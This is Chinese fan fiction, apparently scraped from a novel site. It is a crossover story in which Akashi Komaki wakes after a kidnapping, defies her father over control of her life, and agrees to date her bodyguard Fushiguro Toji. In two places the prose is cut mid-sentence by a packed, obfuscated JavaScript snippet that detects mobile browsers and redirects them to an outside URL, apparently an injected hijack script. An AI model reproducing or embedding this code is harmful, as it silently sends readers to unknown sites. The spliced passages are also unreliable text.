3位绑匪全员存活,活得都不是很好,他们是同父同母三兄弟,如果一定要说谁比较幸运,是被伏黑甚尔踹到墙上的那个,在家中行三,肋骨骨折,肝、脾脏破裂,还有一些不值得一提的皮肉伤。家中老大目前精神状况稳定,除了高位瘫痪和全身动不了之外一切都很好。老二失血过多抢救及时,很幸运的陷入了不知多久的昏迷,毕竟人体都紊乱,医生给他的诊断和小莳差不多,能醒来问题就不大。在律师团的建议下,赤司家很仁慈的负责了三人的医药费,因这其中未来还有点法律官司要打,如果有谁一不小心离开人世的话,可能会对庭审和和解有影响。 伏黑甚尔进去了一下,11日晚8点出来了。他宣称对三人的伤势负责,赤司和请来的律师团也乐见其成--赤司征十郎是一个眼力不错的靠谱成年人,一个颈椎骨折,一个只有大腿上2cm的创口,另一个又是骨头断了又是内脏破裂,声势浩大,结合可爱的妹妹的过往职业,和伏黑甚尔看起来给人的感觉……无论如何,对方如此行事,他承下这个情了。 律师团也在敬业跟进案情,且这也不违背良心。根据现场物证来看,3名歹徒对赤司小莳进行了折磨与私刑--麻醉、电击、枪都上阵了,这种时候保镖出来一打三,合情合理,至于不小心打到脖子,紧急避险,刀剑无眼,戳到腿也很难讲,更不用说,三人犯案的理由其实是投资失败,祖产打了水漂……只和赤司集团有一点点关系,然而集团在融资的时候和三兄弟一样,也给那个公司投了钱,真要论,也是受害者。 专业团队全程陪同,警方没能多留住伏黑甚尔一秒钟询问查证。 听到这里,小莳想双手合十,奈何左边正骨完绷带裹得紧,动不了,她就说:“感谢甚尔君,但其实我之前想好了才——” 赤司征十郎堵住她的嘴--手掌盖在小莳的嘴唇上,很认真的给事情盖棺定论:“父亲和我都很感谢伏黑先生救援你的义举,他现在在公寓待命,一切都好。在忒弥斯的见证下,他会有光明的未来。” 忒弥斯是希腊神话中主持正义和秩序的神明,是法律的象征。 “父亲昨天来看过你,今天工作结束后还会过来。” 本来想再问一下伏黑甚尔的情况,一听见父亲要来,什么心思都没了。 小莳一点也不想见到赤司征臣:“糟糕,我现在身体极度虚弱,马上看了父亲脑袋也要虚弱起来了。” “……没那么恐怖,父亲对小莳还是很宽容的,只不过”赤司征十郎是真心这样认为,如果当初自己也能像小莳一样被对待,大概不会患上双重人格。坦诚说他是对妹妹在父亲那的待遇,有艳羡的。 “只不过他人就不好,所以即便宽容起来也显得严苛。”小莳顺口接上,“父爱如山深沉这种话就不必说了,高处不胜寒,把孩子冻伤了。” “……” “为了防止意外情况,等父亲来的时候,哥你能在这旁听吗?” 他说好的。 “征十郎这两天没休息好吧,眼下都有青黑了。”小莳现在掌握了自己的身体状况,她抬起完好无损的右手,摸了摸兄长有些憔悴的脸。 心疼.jpg “近期会和政府有一项合作,统筹调度和文书工作需要监理。” “这种大项目应该是父亲在负责,怎么交给你了?”听得眉头一皱,赤司征臣刚过不惑之年,短期内不会有让继承人负责大规模生意的打算。 “父亲近期比较繁忙,抽空来了东京,一些事便忙不上了。” 小莳听出端倪,并且对这种行为十分不赞成:“所以他亲自过来看女儿的补偿是,抓儿子做壮丁,好一个拆东墙补西墙的伟大父爱,咱家一定揭不开锅了吧。” “……” “征十郎,你还有我,不用为了父亲自己都记不住的几句零星的认可做到这种程度。如果你想的话我可以天天夸夸你,妈妈十月怀胎生下我们可不是为了让我们在资本家手底下受委屈的!” 赤司征十郎叹息一声:“我并没有被要求做能力范围外的事情,父亲也清楚的。” “……”哥哥是自愿的,她也没办法。 小莳才醒了一段时间,又困了,她顶着倦意给兄长讲述了另一个世界里自己的义兄继承家族的故事。 “如果彭格列的未来是这样的,那我就亲手摧毁它!” 事件发生的时候自己并不在场,但是记忆顺着十年后平行世界里江口小莳的传承落到了她头上,现在她将这段往事说给了自己一母同胞、血脉相连的兄长。最后问他:“父亲严峻的爱就这样摧折了很多的梦,哥哥,被笼罩在赤司集团盛名的阴影下,自由与理想对你来说仍然可贵吗?” ———— 小莳睡醒的时候,赤司征臣正和征十郎讲到一个助理不够周全,有防护漏洞,他打算安排小莳直接回京都上学。父亲的商量语气是对未来可期的继承人,如果征十郎为此点头,她就真的得回京都--好不容易离开了两个月的地方。 使不得使不得,赶紧轻咳一声,告诉在场二位自己醒了:“那您这是在要我的命。” 赤司征臣长相颇有威严,若不微笑,面相便有些不讨人喜欢。这是赤司小莳说的,外界则对这位刚正不阿、雷厉风行的企业家给予了极高的评价。 此刻,他看上去就很凶,也许有担心,但她没看见:“小莳,你被绑架,遭遇了生命危险,我和征十郎都很忧心。这种时候不该任性。” 她以事实回应:“据我所知三位人员都已伏法,以后也不可能实施报复。” 他把她视作一个叛逆且需要强势扭转的顽劣女儿:“那么潜伏在暗处居心不轨的其他人呢?你有考虑过任性的后果吗?” 赤司征臣位高权重,对儿女应该是怎样的有一套根深蒂固的见解--儿子做继承人,女儿做小姐。在他的考虑中,被安排者的本人意愿几乎不在考量范畴,这是她最受不了的一点。更糟糕的是,他在征十郎身上获得了一次曲折的成功,现在这位父亲对育儿更自信了:“以后的事情以后说,父亲可以更尊重我本人的意愿。” 这份企业级的自信摞在她身上,就成了想要闪避的负担。 他可谓语重心长:“小莳,你该学着长大,替我和你的兄长分忧了。” “我不。” “……” “……” 止痛上头,小莳现在思路有些许不受控制,一时疏忽嘴快,被没收了银行卡。 但也不能什么都推给止痛点滴,也许她就是天生一颗不畏强权百折不回之心,也许……她总得接受,或者想方设法越过。 小莳在沉默氛围中适时开口,提出一个几乎不可能实现的折衷之路:“不过我可以帮哥哥的公司整理一些业务,或者您送家分公司给我打理也行。” “分忧,分担他人之忧,于我无益。我更情愿承担起属于自己的那份责任,拿到属于我的报酬。父亲,如果您想管教我,就请先把我当成您的继承人那样教导我。如今职工都能和主管沟通转岗离退,没道理我作为儿女就应当全盘接受您的安排,连异议不能提出。” “自回到家族,我向来节衣缩食,一个月花费不过千万,仅仅只是上流人家基本的消费水准。如果说我们家条件这样的好,我的生活竟还不如普通财团的大小姐逍遥,还要承担被家里人养育多年才要付出的报酬,这是值得抗议的一件事……赤司家从我出生起到现在,养育我四五年,我没有一年是享用着荣华富贵的,借着一层父亲的身份就这样干预我,是否诚心不够呢?”节衣缩食暂且不提,她生活上对自己一向不苛待,后半句话则是直白挑明了他们家庭关系中最薄弱的一点,生她的母亲已经去世,养恩主要外包给保姆和其他帮佣,如果说赤司征臣一定要认这个父亲的身份,那他在诘责小莳前,首先要面对自己的失职。 “如果说我贸然提出想要权力是一种唐突,那您对我提出的许多要求也恰好和这一样。我当然清楚这不是钱和管理权的问题,而是您在家庭的主体地位受到了质疑。那我作为一个自己长到16、7的人类,有点自尊心也不是稀罕事,对吧?如果父亲真的想宠爱我,而不是掌控我,在成年后按惯例分我3%股份即可,让我切切实实做个富贵人家深居简出的大小姐,我不会给赤司这个姓氏丢脸。”说到最后,其实宠爱也不是什么好词,但父亲大概不这么想。 一口气说许多话还是有些累,以职工的比喻来喻自己和赤司征臣的关系虽不妥当,但父女情薄,想叫他们离心就好比员工跳槽一样简单,希望赤司征臣好好考量彼此之间的亲密程度够不够他彰显父权和男子气概。 “你这个--你兄长就不像你这样。”赤司征臣在30岁时失去了女儿,十二年后再相见,总归认为有所亏欠,因此对待她也并不似长子那样严苛。本来一双子女承欢膝下,应该是双倍的快乐,结果女儿非但不亲近他,甚至时常忤逆,他生气之余,又十分苦恼。 他是一个自认为通情达理的男人,这样的人即使心里没数,讲话好歹不会恼羞成怒。于是小莳柔和了语气,润色了一下说辞。他这么讲道理,那她便给他讲道理。 所以最后她说:“征十郎当然不像我,猜猜是谁以后要继承万亿家产?猜猜又是谁家的继承人高中罹患多重人格?父亲,先抛开我不论,你给征十郎的快乐又真的大于他的苦痛吗?” “……” 进行两场话疗,谈沉默了一个,另一个又被气走了,小莳自我感觉依旧良好,还有心情谈笑:“哥你真是个大孝子,一对比我,咱爸以后看你都贼亲切。” “你呀,”赤司征十郎今天的叹气次数超越了前一个月的总和:“这段时间刷我的卡吧,小莳。” 小莳回以大拇指,她很开心。 “铃木小姐有我的联系方式,你昏迷第二天没有上学,她便发简讯给我。今天你醒来以后,我联系了她,放学以后她会和你的其他朋友一起来看望,时间差不多也快到了。以及……我也发了简讯给伏黑先生。” 居然改了称呼?小莳对那个伏黑先生的的称呼很有兴趣:“呜呼,征十郎现在对甚尔的态度好起来了,你以前几乎当他不存在的。” 有的时候打电话忘了时间,甚尔君做好了菜又喊不到人,会故意将盘子摔得很响。如果他打牌的话,绝对是那种输了会摔牌的暴脾气,难以想象这个大理石餐桌在短短几个月经历了什么。征十郎在电话里听得清清楚楚,但他唯独在此时不会结束对话,反而会将话题延到其他地方,拉着小莳继续聊。伏黑甚尔的耳力极佳……两人见面说话数得上来的也就短暂的两次,后来隔空喊话的次数反而更多。 赤司征十郎的手背轻轻触碰小莳被纱布包裹的半边脸,垂着眼帘,静静凝望她:“他救了你,虽然不清楚他是怎么找到你的,但是…我很庆幸并没有失去你,小莳。” 她去捉他的手腕:“征十郎,你快哭了。” 赤司征十郎和一只阳光下闪若琉璃的眼眸目光相对,眼波流转间掠过明媚的笑意,她说:“我一切都好,三个绑匪不讲武德,装备太多,不过即便如此我也能把他们打得落花流水,最后我甚至给甚尔君来了几下,不夸张的说我离干掉甚尔君就只差一点点了,所以小小狂徒更不在话下哒!” 但她转念一想,最后以胆小鬼绑匪三号的性格,比起走近让她有机会攀上去扭脖子,好像更可能会在远处一通射击,把弹药全打空,很难说她会不会命丧黄泉。 好的,还是不要把话说太满。 “是这样吗?听得我都毛骨悚然了。” 熟悉的声音在门口响起,语调里透露着“嗯嗯嗯你说的都对”的慵懒,小莳缓缓转头看过去,看见伏黑甚尔在用小拇指掏耳朵。 说大话被人听去了,不凑巧,还是被自己用作垫脚的人偷听,尴尬。 小莳举起自己没灾没病的右手右臂,指过去:“甚尔君,你偷听。” 赤司征十郎朝他点点头,和小莳道别:“我回酒店午休一会,护工六点会来待命,到时有事小莳再联系我。” 待他走后,房间里就剩下了小莳和自觉主动坐在床边靠椅上的伏黑甚尔。 没有人说话走动,空气都安静下来。 过了一会,还是伏黑甚尔先开口,“我问过医生,你醒来以后可以适量摄入一些半流质食物,我在家做了些带来。” 好久不见,她也不生疏:“先不说这些,你是什么时候开始听墙角的?请从实招来。” 小莳有一种开口就能缓解尴尬氛围的能力,她一说话,伏黑甚尔便也觉得放松许多,他起身手脚熟练地帮她掖了掖被子,又把病床的角度再调整些许,最后把小莳的枕头挪到了腰后:“反正是听见了大小姐的英勇事迹,还有节衣缩食的勤俭持家精神。” “……这样一想,你岂不是从头听到尾,偷听,坏!” 伏黑甚尔这几天见过病床上失去意识,表情安详的面容,总认为死气沉沉。如今虽然满身伤病,这熟悉的面貌却让他放松下来。医生说,28天内如果不醒来,就要考虑慢性意识障碍,进行促醒治疗,如果再醒不来,就……看家属的治疗意愿了。伏黑甚尔对自己的坏运气一向不陌生,面对昏迷中面色苍白的小莳,他甚至产生了不敢希望她顺利醒来的想法,因为人生的事与愿违大概已经成为他的因果律武器了,好像是有人这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413088|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过。 幸好,她命硬。“赤司征十郎都承认我是大小姐的救命恩人了,小莳小姐就这样报答我吗?” “又不是不报答,对于恩义我可是很看重的!但是一码归一码!”小莳虽然这么说着,却也不再提,转而问,“甚尔君不是离家出走了吗?为什么会来救援我。” 伏黑甚尔拿保温盒的手一顿,过了一会才说:“那个粉色头发的高中生,找到我,我就来了。” “我知道多半和他有关,但我是在问甚尔君,你明明都已经离家出走了吧,哼哼,是不是又想回来给本小姐做助理了?” “……”伏黑甚尔将保温盒放在摆放着百合花的床头柜上,在心里承认了这个说法,但他不愿意坦白,于是只用一种生硬的语气说:“只是因为答应过你,所以来履行承诺。” “嗯?”什么时候的事,她怎么不知道。 伏黑甚尔淡淡重复之前在有森饭店发生的事:“如果有人想要伤害你,我会姑且发挥一下保镖的作用,为期2个月。现在还在时限内,所以我去了。” 小莳眼珠子一转…转疼了,右眼感觉不太妙,她很快就想起伏黑甚尔在说什么,定神开口:“那天你不是没答应吗,我刚说完水户警官就喊我我做备前千鹤的笔录。” 甚尔君,你想谈恋爱,你就不能老老实实进行告白! 伏黑甚尔就不是坦诚的人,坎坷的人生造就说一套做一套的性格,而他自己在大部分时候心里没准,也不愿思考:“那太遗憾了,看来我不应该跟她去救你。说到答应,你以前似乎答应过我有机会一定会把我介绍给表兄,但是学园祭并没有邀请我--你邀请了他们全社团的人,还邀请了田所惠和幸平创真。” 这人怎么这么爱翻旧账啊。 “我是病号!在病人面前说这些,你好mean!”小莳心想,还不是为了杜绝和他的一切暧昧关系,结果还是先亲亲再婉拒,最后助理一怒之下离家出走,怎么想这都不是她的问题!还不是为了照顾某人破碎的自尊心,哼! 伏黑甚尔还想再说什么,谢天谢地他没有说出来,不然小莳怀疑自己想和他恩断义绝,专属病房的护士带着园子小兰理子来了。 伏黑甚尔很早就听见了脚步声和谈话声,但没注意,直到他等声音临近,回头的时候才发楞。他看见了一个不应该在这的人。 星浆体? 铃木园子天生是干氛围组的料,刚过来就趴着床沿哭天抢地“小莳!我的小莳!你怎么这么倒霉,听说那歹徒对你拳打脚踢,天杀的我要报警把他们都抓起来!” 小莳吓死,差点以为她不是昏迷了转醒,是过头七捏。 毛利兰拖着园子的胳膊,先向小莳打招呼,再劝园子安静,“小莳下午好,听你兄长说你醒来了,我们就来看你了。好啦园子,小莳这不是开始逐渐好转,护士小姐也说她身体恢复的不错,你声音太大会影响小莳修养的。” 天内理子在一旁把新买的花束抱在怀里稍加整理,想放床头柜上,却发现那边已经摆放了一个花篮,旁边还堆着保温盒,想是小莳学姐的助理先生带来给她吃的。摆不下就交给助理先生好了,只是,这个助理总是给她一种可怕的感觉,汗毛都要竖起来了,明明算是第一次见面。 见面以后,理子觉得这人和上次的刺客只是长得像,他虽然让她感到危险,但他现在身上散发出的气息……比起雇佣兵和赏金猎人,更像正派的保镖兼家政官。 而且,在刀枪下解救小莳学姐,虽然害怕他,但是这个行为好酷! 伏黑甚尔一声不吭的接过慰问的花,放置在另一边摆着水果的柜子上,和小莳说:“你们聊。”便离开了病房。 小莳随意嗯嗯两声,便又回到和同学们聊天的状态里,“哦哦哦,他俩在一起了,但是xx和xx又分手了,好快的恋爱保质期。” “园子你别光说这些,也关心下小莳的身体。小莳,你有觉得哪里不舒服吗?” 小莳立刻撒娇:“呜呜,哪里都痛痛,要兰宝亲亲才能好。” “哎?”毛利兰一下子就脸红了。 园子在旁边添油加醋,“你将来一定是贤妻良母哦~” 贤妻就算了,但是一定是很好很好的妈妈。 “这是我给小莳学姐带的小礼品,祝您早日康复!我以前,不太有机会出去玩,因为家里人管得比较严,担心我出去玩遇到危险什么的,就会看书作消遣,给学姐买了两本书,如果能帮您解乏就太好了。” “理子,居然背着我们偷偷额外买了礼物!兰,我好伤心,可爱的学妹居然这样卷我们。” “这个这个……”天内理子手足无措,“也是为了报答学园祭那天小莳学姐的下午茶。” 多说多错,这下园子和小兰又清楚话剧命案发生的时候小莳润出去躲闲了。 小莳战术性低头,假装看书。 “《窄门》?”小莳念出第一本的书名,“理子看过这本书吗?” 天内理子也抢着快速回答,紧急脱离园子学姐的追猎:“是,是的!大概11.12岁的时候,我上国中一年级,当时一口气看完了,难过了好些日子。但是它是很优美的书,我想推荐给学姐!” “我小时候也看书,‘因为抱着与你重逢的期待,在我眼里最险峻的小道也总是最好的’,不过后来我就喜欢看电视了w没有太多的时间读书。”小莳念出自己曾记诵过的一句描述男主朦胧暗恋的质朴纯爱,“不过大概是因为我和基督不太合得来所以没办法彻底沉浸,而且如果男主和女主顺利在一起我倒不会这么念念不忘了。” 印象中,窄门是一本纯爱流be小说,男女主毫无疑问的恋慕彼此,但都不够勇敢,都有着心理上越不过的深堑,最终女主病死了,死的时候像卖火柴的小女孩,幻想自己一切都好,实际上根本不好,男主差不多活成了未亡人,过得也不快乐。 这么说着,便拾起这本书,看下一本,《你当像飞鸟飞往你的山》轻轻念出书名。小莳便看到这个元气学妹身上也有着内敛忧伤的一面。不仅是疼痛文学,她或许经历过一些悲伤的事情。 理子不好意思的拽着自己的麻花辫,将发尾缠在手指绕圈,眉眼中是羞怯的笑意:“说来也惭愧,我也有好一阵子没有阅读过书了,自从做了阳菜姐姐的签约艺人,每天除了上学都在奔波工作,和制作人还有其他工作人员交流呢。” 小莳翻开扉页,瞥了眼序言,问她:“理子是有宗教信仰吗?两本书意外的都是和宗教有关呢。” “以前国中读的是教会学校啦,小莳学姐好敏锐!” “米花还有教会学校吗?”园子迷迷糊糊地问。 “这个这个这个……”廉直女子中学,天内理子觉得再这样聊下去,自己身份不保,学姐们都是普通的好人,她可不想秘密泄露吓到她们。“是,是的!我以前确实受过一些宗教方面的影响,要走进窄门,将一切都奉献给主什么的,但是后来我遇到了两个人,我果然还是想和亲友们一起,我改变主意了!”结果最后还是不知道怎么稀里糊涂就没了,哭哭。 “两个人,是男人还是女人?” “是,两位优秀的男性。”理子面对园子学姐的提问,回答的结结巴巴。 “报告!名侦探园子发现了恋爱!普通男人说‘男的’就好了。优秀的男性这种说法实在是欲盖弥彰!” 不愧是铃木园子,目前完全没有恋爱但算是姐妹的爱情军师。一款语言的巨人,行动的矮子。 再谈笑了几句,园子的司机给她打了电话,小兰和理子也被顺路载了一程,三人结伴离开,小莳和她们道别。 21. 第 21 章 三人离开后没一会,伏黑甚尔又进来了。他一定刚刚就在门外。 “你又偷听女高聊天。” “我没偷听。”声音顺着墙自己进耳朵,和他有什么关系,伏黑甚尔表现得若无其事,开口就是问天内理子的事情:“那个黑头发扎辫子的女学生是谁?” “?”怎么突然问这个。“你以前从来不问这些,有古怪。” “……”一眼就被识破了,如3000万所说,真是敏锐的姑娘。但是伏黑甚尔并不想透露自己曾经成功得手的任务目标就是小莳现在要好的朋友,据他观察,小莳对女孩偏友好,尤其偏好温柔关心他人的女性,这点来说倒是和以前的自己有点像,只不过她从来不贪图和她们发生关系,总之她是在意天内理子的。 伏黑甚尔不想让小莳生气讨厌他,但是他不愿意思考出这个结论,于是停止思考:“我就随便问问。” 小莳不知道他又犯什么病,“莫非你——” “嗯?” “你突然不喜欢我了,喜欢上理子了?”歪头,很认真的提问。 一时之间伏黑甚尔不知道该说什么,首先,他本人对3000万除了金钱之外没有任何念想,不然不至于从头到尾只把越过五条悟乃至于干掉五条悟放在心上,对星浆体一枪结束;第二,他确实是喜欢赤司小莳。然而,他并不愿意在大小姐面前承认自己喜欢她,尤其是在自己已经被无可转圜地拒绝以后。 他是什么很贱的人吗?不太是,到头来还是放不下那一点点自尊。几天前,他被邀请到医院附近赤司家父子暂居的酒店,谈话的内容记不清了,但他记得那边的餐厅有一种很红的树莓,颜色像血,味道很酸。此刻他正感觉像是树莓残渣在他胃中、心中翻涌,搅得他心神不宁。 伏黑甚尔咧着嘴,一脸叛逆:“这和你没有关系吧,大小姐。” 赤司小莳抿唇一笑,牵动到右脸的伤口,又开始吸气,平复了一阵子,伏黑甚尔就站在旁边袖手旁观。 “你一急,人就别扭起来,攻击性也很强。”就像猫咪生气,炸毛弓着背,嘴巴里发出“老吴老吴”的警告声。反过来想,如果甚尔君确实对理子有兴趣的话,此时不该会出言挖苦,反而会很不在意地说些“是啊你把她联系方式给我吧”,然而现实却是他因为自己的话而恼怒了,这样的理由么……结合他的选择性自尊,即对不在意的人事漠不关心,具体症状为小聋瞎;而对在意的人和事嘛,大部分时候就像现在这样,看,好别扭的品格。 他还喜欢她,他渴望将心意剖白,全部解释给她听,但他个性中也有孤高自许的自尊心令他不屑于解释,因此表现得这样反叛。很是惹人怜爱。 小莳清醒的意识到,她此时觉得炸毛的伏黑甚尔有些可爱,只不过是因为她现在比较喜欢他。只不过是因为一种爱之则不觉其过的滤镜,等荷尔蒙水平恢复正常,大概反会深受其扰,因此理智的做法正如那天不动声色地拒绝。 可有声音在她右耳处诱劝,她倾听:可他喜欢你,他有恩于你,这不仅是大概率自食絮果的恋情,也是不得不回应的恩义报偿。她可不是滴水之恩涌泉相报的类型,但既是救助性命的恩情,陪他谈场恋爱总不为过。况且小莳自己清楚对他也有些喜欢,就算亏也不会输得一塌糊涂,当报恩了。 小莳:let’s谈恋爱。 伏黑甚尔听小时的语气带着调侃,更是火大,她先是拒绝他,又一点没有礼貌和羞怯地询问他是否喜欢上他人,再一脸想到什么有趣事情的表情调侃他的性格,说完以后就陷入自己的世界里发呆了。真是一点不把他放在眼里。可他悲哀的发现,自己并不想走。 也许他就是天生固有缺陷,自尊从不在他的基因当中,何以只在日常小事中寻她错处,如今这种应该嗤笑一声转身离去的时候脚却像扎了根。那天浴室也是如此,小莳的语速并不快,他可以冲过去以行动叫她闭嘴,也可以直接转身离去,再不多看她一眼,可他听完了整场审判,水滴的声音就像钟表,敦促庭审一步一步推进,直到尘埃落定。 她这么说:“甚尔君,你对我来说不够好。”而他还一直对她念念不忘。 如果小莳能知道他的想法,她一定会说:你可太有自尊了,简直是红斑狼疮级别的自尊。现在,曾在前几天晚上瞬间杀气腾腾想要对他脖颈动手的女孩,露出的半张脸无害温良,她声音也软软绵绵:“甚尔,你可以站到床的另一边来吗?” 他照做。 “现在,你把手伸出来。” 他照做。 “不是这一只,你刚用它掏耳朵的,我有点介意。”温良的半张脸露出不虞的神色,摇身一变又成了挑剔事多的大小姐。 照做之余,伏黑甚尔忍不住开口:“……你想做什么。” 小莳将自己没受一点伤,白白嫩嫩右手放在伏黑甚尔的手上,握住它:“甚尔君,你能不能对我说点好听的话?” “不能。”他惊讶于这一举动,但不愿多想其背后深意,只想着面对这种程度的羞辱他不转身离开已经够了,再苛求他言语上的讨好简直是天方夜谭,直接冷声回答。 “天哪,和你谈个恋爱,以后我怕不是眼泪都要哭干了。”小莳不可置信地说,这其中多少有些表演成分,甚尔君有的时候确实就像洗衣机里高速旋转脱水出来的衬衫,全是抚不平的褶子--这是她最近自学使用洗衣机以后见识到的,今天正好拿来做比喻,小莳清楚他性格怪得很,简称用一生治愈悲惨童年。 顺便,原来不同的衣服不仅要用不同的温度和洗液漂洗,有些娇贵的衣服根本不能旋转脱水,只能烘干。太麻烦了。 眼泪哭干这话完全是在造谣,因为小莳没有为伏黑甚尔哭过一次,以后的事情现在不清楚,但大概也哭不了几次,总不过是分手的时候小哭一场,或者结婚的时候感动哭一场,那都是太远的未来了,先不预想。 他没有理解这句话的意思,呆愣在当场:“……” “你有我这样好的女朋友,料想该是从上上上辈子就开始积德了。恭喜你,甚尔。”她拍拍他停在那不动的手掌,“现在我要吃饭了,啊,快喂我。” “……你说什么?” 小莳现在能进行的动作有限,她摊开右手,表现自己的无奈,语气也是一副“真拿你没办法”的样子:“你看,你都不愿意跟我告白,那我没办法顺势答应你。只好通知你,你现在是有主的人了,以后万勿闹脾气忘了家务事w” 伏黑甚尔看上去并没有很开心,但她攥住小莳离开的右手,很紧:“我不明白。你突然说这些是什么意思?” 小莳一眼从他言行不符的表现抓住了端倪,“甚尔怀疑我在戏弄你吗?” 他闭着嘴,看来没有说话的打算。 “我认真的,我想开了。现在并不抗拒做甚尔的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413089|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女朋友,也不介意做甚尔的金主,你挑挑觉得哪个身份合适就选它吧,不过对我来说不论是男朋友还是小白脸,你都和男朋友一样了。” 她只好主动做下承诺:“我会好好对你的。我们会一起吃饭、一起看电视、一起逛街、同游很多景点、共享一些旅程。应该会留下很多美好的共同回忆,当然,你不可以花掉我太多钱,我的银行卡被父亲没收了,现在是征十郎在用生活费养我。”征十郎养活我不容易,你可得好好孝敬他。 前面很认真,承诺很真挚,最后一番话说的理直气壮。 “理由。”伏黑甚尔说的很简短,小莳推测,这表明事情超出他的控制,因此非常谨慎,就像流浪猫在圆溜溜瞪着眼观望看起来很和善能帮它挠挠下巴摸摸头顶,但也可能对它造成伤害的可疑人士。 他有一点心动,也有很多不安。 “因为1我喜欢你;2你喜欢我;3之前是觉得甚尔君不擅长处理情感关系,不想惹麻烦。现在么--” “哦,这么说现在你就愿意惹麻烦了?还是现在你觉得我能处理情感关系了?”两个咄咄逼人的反问,表现提问者心情不悦,硬要拉人下水的态度。 “我愿意,不觉得,你把我手抓疼了,松开。真是粗暴,甚尔君。”小莳在伏黑甚尔骤然松手后,没有把手缩回去,反而还在他手背上打了一下,然后握住他的半个手掌“虽然我情愿自找麻烦,但这不意味着你可以随时随地发泄自己的不良情绪,下次不可以再这样了。”虽然伏黑甚尔虚长她10岁,是个只长个子不长脑袋的驽钝的家伙,但既然做好准备要和他恋爱,面对他这样那样的毛病,总也不能无视,等懒得理他的那天一脚踹开。她需要耐心沟通,循循善诱。 天呢,小姑娘年方17,谈个初恋和当妈一样。她想,小莳啊小莳,谁让这人救了你的命呢,你不再是那个可以呼风唤雨的彭格列雾守了,只不过是一个和天底下其他人一样脆弱的的平庸的生命。被褫夺了天赋,任何困难都能打倒她了。 她牵着伏黑甚尔的大手,在半空中晃了晃:“你给点反应啊甚尔,就这样盯着我我也不知道你在想什么。不愿意主动告白,至少说一声‘好’?” 对于伏黑甚尔来说,这周发生了太多始料未及的事,而今日一天之内,又经历了意外的变化,先是赤司征十郎通知他小莳醒来,只精神有些萎靡,医生检查指标后都说略无大碍,都能恢复。他想见他,想听她无论是什么语气的声音,急不可耐,而等他得偿所愿后,想见的人对他说:我会好好对你的,我们会一起做很多事,我喜欢你。 不知道,上一次这么高高兴兴还是被六眼干掉之前,伏黑甚尔也想犹豫,可她给的太多了,所以他没什么表情的说:“好。” 这是权衡后的结果,并非是悸动或如她所说的恋爱。他这样告诫自己,抵抗内心升起的喜悦。 天内理子,那是谁?真不熟。 他没来得及花钱,她在这里看起来一切都好,那就是无冤无仇,素不相识。不管了。 小莳身上裹着纱布和绷带,膝盖、腿部、左臂、面部,手上一瓶一瓶吊瓶轮着滴,身上插着管,前些日子还有鼻管。今天已经醒了,吞咽功能也一切正常,鼻饲结束。晚些护工来,帮她清洁。她已经四天没有意识。 可见眼下实非谈情说爱的好时候,但两人心情都还不错,现在他们是彼此的女朋友和男朋友了。 22. 第 22 章 确定关系以后的一周,伏黑甚尔并没有感觉到什么变化,可能是因为大小姐逐渐停了止痛针,主治医生是个什么什么主任,和再次过来看望的赤司征臣谈了以后,父亲听说她自愈能力很是不错,恢复状况也良好,听从医生建议停了,改为口服处方。 因为一些风险隐患,一日只有三粒药,起效慢,时间短,小莳心情并不好。身上是这那碰一下就疼,左手的指甲更是要漫长的1个月才能全部结痂,伏黑甚尔也就是牵着她的右手听她抱怨主治医生完全不在乎患者本人的意愿,父亲不知他人苦随意裁断。还要帮她念书:“好歹是理子的一番心意,重温一下经典也没什么不好。正好甚尔也看看这本书,还挺有趣的。”左胳膊缠了线挂在脖子上,中指指甲盖顺着一部分肉全没了,根本翻不了书。 伏黑甚尔问她,那你看电视不行吗。 小莳说不行,于是他不情不愿地给她念书,磕磕巴巴,他说文化水平差点理所应当。他本人倒也不因这个自卑,生长环境如此,家里本来也没有大学生。 “我对这种书不感兴趣。”伏黑甚尔在小莳忍无可忍的第不知道多少次打断后,迅速地翻阅了前两章,下了最终的结论,“我认为主角有病,克己自律和宽门和阔路引向沉沦这种话倒像是小莳你会喜欢的。” 小莳惊讶,那他的滤镜可太重了,“果然,甚尔君一点也不了解我。我既不信仰神明,也不相信窄门和狭道通往永生,我还挺……擅长及时行乐。永生、天国,那实在是太长远的未来,我不好确信的说它存不存在,反正我是不信。我本人只愿意为看得到的未来做打算。” “那你还看它。”伏黑甚尔一把将书合上,用行动表态自己不想再念。 “一部分是为了拓宽视野,世界上有那么多人,其中大部分人都在紧要关头掉过链子。就像主角一样,不是所有人都能做出正确的决定的:在表姐心痛遭受成长危机的时候,他说‘我要进窄门,我不能去找她’;在大家催促着他订婚的时候,他说‘我与阿丽莎心意相通,无需昭告天下’,在他意识到自己还是想订婚,但是表姐匆忙赶走他,不愿说话时,他实在没有勇气开口,在他的恋慕对象发现自己的亲生妹妹也爱着他,决定主动让步时,他想‘与其见到她,还不如不见到她来的容易些’……他们所做出的所有选择,确实可以说将两人都引向窄门,但这结果真的如他们所愿吗?回顾人生,他们都做出了无悔的决定吗?” 小莳耐心的给伏黑甚尔说明自己关于这本书的见解,娓娓道来。 哦,关于另一部分,看伏黑甚尔有点出丑的样子也算是一种乐趣。 